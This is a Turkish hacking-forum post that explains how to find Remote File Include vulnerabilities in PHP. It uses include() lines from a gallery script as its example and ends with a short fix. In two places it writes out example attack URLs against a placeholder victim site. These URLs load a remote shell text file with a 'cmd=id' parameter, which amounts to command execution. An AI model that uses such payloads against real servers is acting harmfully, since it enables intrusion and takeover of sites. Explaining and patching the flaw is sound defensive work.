THT DUYURU

Web & Server Güvenliği Doğru web ve veritabanı sunucusu güvenliği sağlanmadan, bilgisayar korsanları hassas verilerinize erişebilir. Web, Sunucu ve veritabanı güvenliğini nasıl sağlayacağınızı buradan öğrenebilirsiniz.

chat
Seçenekler

Remote File İnclude Açıklarını Bulma Teknikleri

Spy' Man
Spy' Man - ait Kullanıcı Resmi (Avatar)
Misafir
Mesajlar:
n/a
Konular:
14873
Teşekkür (Etti):
Teşekkür (Aldı):
Ticaret:
28-05-2011 14:08
#1
Remote File İnclude Açıklarını Bulma Teknikleri
Hacker’ların RFİ açığı ararken dikkat ettikleri başlıca parametreleri şöyle sıralayabiliriz;


- İnclude

- Require

- Define

Bu yönergelerin kullanımı sırasında "$" tanım işareti ile kullanılan parametreler yardımıyla uzaktan kod çağırılabiliyor.

Örnek olarak aşağıdaki kodu ele alalım:


include ("$path_to_folder/admin/common.php" );
include ("$path_to_folder/lang/$lang_def" );



yukarıdaki kodlar mcGalleryPRO scriptinden alınmıştır.kurulum paketindeki random2.php dosyasındaki hatalı kodlamadan dolayı uzaktan dosya çağırmak mümkündür.şimdi burda başında $ işareti olan parametrelere dikkatinizi çekmek istiyorum.

path_to_folder ve lang_def... ilk parametreyi kullanarak rfi yapılabilmektedir.nedeni bu değişkenin daha önce sabit bir değere eşitlenmemiş olmasıdır.dolayısıyla bu değişkene atıyacağınız her hangi bir değer onun değerini belirler.
bu kodla örnek rfi yi oluşturalım :


http://www.victimsite.com/mcGalleryP...ell.txt?cmd=id

Bu şekilde bir Rfi’nin varsayılan ayarlarda bir değişiklik yapılmamışsa çalışması beklenir.

Peki aynı şey lang_def için mümkün müdür? Tabii ki hayır... Çünkü dikkatinizi çektiyse lang_def değişkeninden önce sırada /lang klasörü vardır.Eğer siz;


http://www.victimsite.com/mcGalleryP...ell.txt?cmd=id

...şeklinde bir rfi yapmak isterseniz;bu kodu çağırdığınızda gezgininiz /lang klasörün altında çağıracağınız kodu arar.şimdi ilk değişkenimize geri dönelim..

gördüğünüz gibi bu bir açık yani "bug" dır.peki kapatılması mümkün mü?Elbette..

örnek olarak bir fixing yapalım:


$path_to_folder = "./" ;

include ("$path_to_folder/admin/common.php" );
include ("$path_to_folder/lang/$lang_def" );

Basit olarak random2.php dosyasının böyle kodlandığını varsayarsak rfi yapamayacağımızı görürüz.çünkü path_to_folder değişkenine bir değer atanmış ve çağırılmak istenen dosyanın ./ yani public_html ya da httpdocs gibi sitenin root klasöründe aranması işaret edilmiştir.

Bookmarks


« Önceki Konu | Sonraki Konu »
Seçenekler